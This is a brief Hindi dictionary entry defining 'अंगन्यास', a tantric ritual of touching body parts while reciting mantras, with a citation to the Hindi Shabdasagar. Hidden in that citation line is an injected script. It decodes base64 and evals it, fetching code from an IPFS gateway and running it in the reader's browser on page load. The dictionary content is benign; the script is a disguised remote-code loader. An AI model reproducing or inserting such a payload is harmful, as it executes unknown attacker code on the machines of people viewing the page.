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अंगन्यास

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अंगन्यास - संज्ञा पुल्लिंग (संस्कृत अङ्गन्यास)[1]

तंत्रशास्त्र के अनुसार मंत्रों को पढ़ते हुए एक-एक अंग छूना। संध्या, जप पाठ आदि के पूर्व की जाने वाली एक विधि।


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टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, प्रथम भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 06 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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